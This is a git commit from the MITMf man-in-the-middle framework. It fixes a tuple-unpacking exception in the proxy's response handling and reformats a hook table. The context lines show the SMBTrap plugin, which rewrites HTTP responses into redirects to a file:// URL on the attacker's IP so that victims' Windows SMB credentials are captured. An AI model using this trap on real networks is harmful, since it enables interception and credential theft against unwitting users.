The new changes caused an exception when unpacking the tuple, fixed it

This commit is contained in:
byt3bl33d3r 2015-05-23 00:37:08 +02:00
parent 840e202e5b
commit e985d42a8a
3 changed files with 12 additions and 2 deletions

View file

@ -44,7 +44,12 @@ class ProxyPlugins:
_instance = None
plist = []
mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
mthdDict = {"connectionMade": "clientRequest",
"handleStatus": "serverResponseStatus",
"handleResponse": "serverResponse",
"handleHeader": "serverHeaders",
"handleEndHeaders":"serverHeaders"}
pmthds = {}
@staticmethod

View file

@ -120,7 +120,11 @@ class ServerConnection(HTTPClient):
self.sendPostData()
def handleStatus(self, version, code, message):
version, code, message = self.plugins.hook()
try:
version, code, message = self.plugins.hook()
except ValueError:
pass
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message)

View file

@ -20,4 +20,5 @@ class SMBTrap(Plugin):
return (version, 302, "Found")
def serverHeaders(self, response, request):
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))